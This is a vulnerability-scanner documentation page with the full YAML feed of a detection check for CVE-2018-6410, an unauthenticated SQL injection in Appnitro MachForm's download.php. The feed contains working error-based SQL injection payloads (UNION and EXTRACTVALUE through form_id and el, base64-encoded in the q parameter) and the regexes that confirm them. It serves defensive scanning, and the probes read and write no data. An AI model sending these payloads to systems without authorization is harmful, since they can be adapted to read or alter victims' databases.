MachForm — 1 vulnerability check
noctis ships 1 vulnerability check for MachForm, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Appnitro MachForm download.php SQL Injection
| CVE | CVE-2018-6410 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/machform/CVE-2018-6410.yaml |
Appnitro MachForm 3.0 to 4.2.2 decode the q parameter of download.php (base64 of el, id, hash and form_id) and put el and form_id unescaped into an SQL query, without authentication, allowing SQL injection: an attacker can read or alter the whole MachForm database, including the administrator accounts and every form entry.
Under the web root, /machform and /forms, this check requests download.php with a form_id that turns the query into a UNION whose second half makes MySQL raise an XPATH error carrying the product of two random numbers, then, if needed, with an el value doing the same on form 1. The vulnerability is confirmed when the reply shows that error with the product computed by the database: it never appears in the request. No stored data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/download.php?q={{sc.q_form}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/download.php?q={{sc.q_el}} - Parses / computes the next value with a Rhai script
- Checks
hitfor^/.* \(form_id probe\)$→ finding QoD 97: Appnitro MachForm download.php SQL Injection (CVE-2018-6410) - Checks
hitfor^/.* \(el probe\)$→ finding QoD 97: Appnitro MachForm download.php SQL Injection (CVE-2018-6410)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-6410
- https://www.exploit-db.com/exploits/44804
- https://metalamin.github.io/MachForm-not-0-day-EN/
- https://www.machform.com/blog-machform-423-security-release/
Feed source — tests/vulnerabilities/machform/CVE-2018-6410.yaml
# Appnitro MachForm < 4.2.3 — download.php SQL injection — CVE-2018-6410
#
# MachForm (Appnitro's commercial PHP/MySQL form builder) serves uploaded form files
# through download.php?q=<base64 of "el=..&id=..&hash=..&form_id=..">. Before 4.2.3 the
# decoded el and form_id go unescaped into
# select {$field_name} from `<prefix>form_{$form_id}` where id=?
# (Amine Taouirsa's advisory, EDB-44804), without authentication, and a failing query
# prints the MySQL error. Affected: 3.0 up to 4.2.2 (fixed in 4.2.3, and 3.5.4 for 3.x).
#
# Detection, per candidate install dir (web root, /machform, /forms), stopping at the
# first hit, with random six-digit operands a, b:
# 1. QoD 97 — form_id injection, independent of any form id:
# el=1&id=1&hash=1&form_id=elements` WHERE 0 UNION SELECT
# EXTRACTVALUE(1,CONCAT(0x7e,0x4e4f43544953,a*b)) FROM (SELECT 1 AS id) AS `v
# The table becomes <prefix>form_elements (a core MachForm table, whatever the
# prefix), whose half selects nothing; the derived table v holds id=1, so the
# second half evaluates EXTRACTVALUE and MySQL fails with
# "XPATH syntax error: '~NOCTIS<a*b>'".
# 2. QoD 97 — el injection on form 1 (the published PoC's form id; fresh operands):
# el=1 FROM (SELECT 1 AS id) AS v WHERE EXTRACTVALUE(1,CONCAT(0x7e,0x4e4f43544953,c*d))
# UNION SELECT 1&id=1&hash=1&form_id=1
# The WHERE holds a constant, so MySQL raises the same XPATH error.
# The product is computed by the database and never appears in the request (which is
# base64 anyway); the SQL text MachForm may dump next to the error carries only the
# operands. Read-only: no table row is read, nothing is written.
#
# Better than the source NASL: the NASL sends the PoC's floor(rand()) duplicate-key
# payload on form_id=1 only, which fails on the many installs whose forms have random
# five-digit ids (no ap_form_1 table: "doesn't exist" instead of the error), reads the
# first admin e-mail into the report, assumes the "ap_" prefix and the web root, and
# matches the generic "Integrity constraint violation" text. This feed needs no form,
# no prefix, leaks nothing and matches a database-computed value only.
# CVE-2018-6409 (traversal needs a crafted stored row) and CVE-2018-6411 (upload filter
# bypass needs a form allowing uploads) are not exploitable unauthenticated by a
# scanner and are not claimed.
#
# Source: OpenVAS/Greenbone NASL 2018/appnitro/gb_machform_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.141126, GPL-2.0-only); exploit EDB-44804.
uid: ac00680b-55b4-439b-9a28-a70479a76085
name: "Appnitro MachForm download.php SQL Injection (CVE-2018-6410)"
description: |
Appnitro MachForm 3.0 to 4.2.2 decode the q parameter of download.php (base64 of
el, id, hash and form_id) and put el and form_id unescaped into an SQL query,
without authentication, allowing SQL injection: an attacker can read or alter the
whole MachForm database, including the administrator accounts and every form entry.
Under the web root, /machform and /forms, this check requests download.php with a
form_id that turns the query into a UNION whose second half makes MySQL raise an
XPATH error carrying the product of two random numbers, then, if needed, with an el
value doing the same on form 1. The vulnerability is confirmed when the reply shows
that error with the product computed by the database: it never appears in the
request. No stored data is read and nothing is written.
cves: [CVE-2018-6410]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.30
tags: [machform, appnitro, sqli, error-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-6410"
- "https://www.exploit-db.com/exploits/44804"
- "https://metalamin.github.io/MachForm-not-0-day-EN/"
- "https://www.machform.com/blog-machform-423-security-release/"
# OpenVAS/Greenbone NASL 2018/appnitro/gb_machform_mult_vuln.nasl (GPL-2.0-only)
steps:
# ── Random operands, expected values and encoded q payloads ───────────────
# parse_str() URL-decodes the decoded q, so the SQL holds no "+", "&", "%" or "#";
# the base64 itself is percent-encoded for the query string.
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let c = rand_int(100000, 999999);
let d = rand_int(100000, 999999);
let x1 = "EXTRACTVALUE(1,CONCAT(0x7e,0x4e4f43544953," + a + "*" + b + "))";
let x2 = "EXTRACTVALUE(1,CONCAT(0x7e,0x4e4f43544953," + c + "*" + d + "))";
let p_form = "el=1&id=1&hash=1&form_id=elements` WHERE 0 UNION SELECT " + x1 + " FROM (SELECT 1 AS id) AS `v";
let p_el = "el=1 FROM (SELECT 1 AS id) AS v WHERE " + x2 + " UNION SELECT 1&id=1&hash=1&form_id=1";
let enc = |s| str_replace(str_replace(str_replace(base64_encode(s), "+", "%2B"), "/", "%2F"), "=", "%3D");
#{ want_form: "NOCTIS" + (a * b),
expr_form: a + "*" + b,
want_el: "NOCTIS" + (c * d),
expr_el: c + "*" + d,
q_form: enc.call(p_form),
q_el: enc.call(p_el) }
store_as: sc
- id: init-hit
action: set_var
var_name: hit
var_value: ""
# ── Per candidate install path (loop group) ───────────────────────────────
- id: init-form-resp
action: set_var
var_name: form_resp
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/machform", "/forms"]
- id: init-el-resp
action: set_var
var_name: el_resp
var_value: {status: 0, body: ""}
- id: form-id-probe
action: http_request
method: GET
path: "{{dir}}/download.php?q={{sc.q_form}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit == ""'
store_as: form_resp
- id: check-form-id
action: script
condition: 'hit == ""'
code: |
let body = if type_of(form_resp.body) == "string" { form_resp.body } else { "" };
let d = if dir == "" { "/" } else { dir };
if ereg("XPATH syntax error: (?:'|�?39;|'|')?~" + sc.want_form + "([^0-9]|$)", body) {
d + " (form_id probe)"
} else { "" }
store_as: hit
# Only where download.php answered at all.
- id: el-probe
action: http_request
method: GET
path: "{{dir}}/download.php?q={{sc.q_el}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit == "" && form_resp.status > 0 && form_resp.status != 404'
store_as: el_resp
- id: check-el
action: script
condition: 'hit == "" && form_resp.status > 0 && form_resp.status != 404'
code: |
let body = if type_of(el_resp.body) == "string" { el_resp.body } else { "" };
let d = if dir == "" { "/" } else { dir };
if ereg("XPATH syntax error: (?:'|�?39;|'|')?~" + sc.want_el + "([^0-9]|$)", body) {
d + " (el probe)"
} else { "" }
store_as: hit
# ── Findings ──────────────────────────────────────────────────────────────
- id: report-form-id
action: match
source: hit
pattern: "^/.* \\(form_id probe\\)$"
on_match:
finding:
title: "Appnitro MachForm download.php SQL Injection (CVE-2018-6410)"
description: "An unauthenticated download.php request whose base64 q parameter carried a form_id turning the query into a UNION with EXTRACTVALUE(1,CONCAT(0x7e,'NOCTIS',<a*b>)) returned a MySQL XPATH error holding the product of the two random numbers, computed by the database: form_id is injected into the SQL query, so an attacker can read or alter the whole MachForm database."
remediation: "Upgrade MachForm to 4.2.3 or later (3.x installs: 3.5.4). Until then, block unauthenticated access to download.php."
confidence_delta: 0.67
qod: 97
evidence: "install dir {{hit}}: download.php?q=base64(el=1&id=1&hash=1&form_id=elements` WHERE 0 UNION SELECT EXTRACTVALUE(1,CONCAT(0x7e,0x4e4f43544953,{{sc.expr_form}})) FROM (SELECT 1 AS id) AS `v) returned \"XPATH syntax error: '~{{sc.want_form}}'\""
stop: true
- id: report-el
action: match
source: hit
pattern: "^/.* \\(el probe\\)$"
on_match:
finding:
title: "Appnitro MachForm download.php SQL Injection (CVE-2018-6410)"
description: "An unauthenticated download.php request whose base64 q parameter carried an el value adding a WHERE EXTRACTVALUE(1,CONCAT(0x7e,'NOCTIS',<c*d>)) clause returned a MySQL XPATH error holding the product of the two random numbers, computed by the database: el is injected into the SQL query, so an attacker can read or alter the whole MachForm database."
remediation: "Upgrade MachForm to 4.2.3 or later (3.x installs: 3.5.4). Until then, block unauthenticated access to download.php."
confidence_delta: 0.67
qod: 97
evidence: "install dir {{hit}}: download.php?q=base64(el=1 FROM (SELECT 1 AS id) AS v WHERE EXTRACTVALUE(1,CONCAT(0x7e,0x4e4f43544953,{{sc.expr_el}})) UNION SELECT 1&id=1&hash=1&form_id=1) returned \"XPATH syntax error: '~{{sc.want_el}}'\""
stop: true